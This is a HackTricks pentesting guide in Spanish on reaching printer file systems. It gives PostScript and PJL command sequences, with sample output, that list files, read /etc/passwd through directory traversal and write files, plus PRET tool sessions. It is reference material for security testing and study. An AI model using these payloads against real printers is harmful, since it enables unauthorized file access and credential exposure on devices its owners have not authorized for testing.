hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md

109 lines
6 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## **PostScript**
Recupera información sensible como archivos de configuración o trabajos de impresión almacenados, RCE escribiendo archivos (como editar scripts rc o reemplazar archivos binarios). Se definen constructos de lenguaje legítimos para **PostScript** y **PJL** para **acceder al sistema de archivos**.
Accede al sistema de archivos con PostScript (ten en cuenta que podría estar limitado a acciones inofensivas):
```bash
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
```
Puedes utilizar los comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`.
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
```
## PJL
PJL (Printer Job Language) es un lenguaje de control de impresoras que se utiliza para enviar comandos a la impresora. Los comandos PJL se envían antes de que se envíe el trabajo de impresión y se utilizan para configurar la impresora y controlar el trabajo de impresión.
Algunos comandos PJL útiles son:
- `@PJL INFO CONFIG` - Muestra la configuración actual de la impresora.
- `@PJL JOB PASSWORD = "password"` - Establece una contraseña para el trabajo de impresión.
- `@PJL FSUPLOAD` - Carga un archivo en el sistema de archivos de la impresora.
- `@PJL FSINFO` - Muestra información sobre el sistema de archivos de la impresora.
- `@PJL DIRLIST` - Muestra una lista de archivos en el sistema de archivos de la impresora.
Para utilizar los comandos PJL, se puede enviar un archivo de impresión que contenga los comandos PJL necesarios. También se puede utilizar una herramienta como `netcat` para enviar los comandos PJL directamente a la impresora.
Es importante tener en cuenta que algunos comandos PJL pueden ser peligrosos y permitir el acceso no autorizado al sistema de archivos de la impresora. Por lo tanto, es importante asegurarse de que la impresora esté configurada de manera segura y de que se utilicen contraseñas fuertes para proteger los trabajos de impresión.
```
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
```
De todas formas, acceder a archivos con PJL no es compatible con muchos impresoras.
Puedes utilizar los comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`.
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
```
Aprende más sobre posibles formas de evitar el sandboxing utilizando limitaciones de PostScript y PJL en [http://hacking-printers.net/wiki/index.php/File\_system\_access](http://hacking-printers.net/wiki/index.php/File\_system\_access).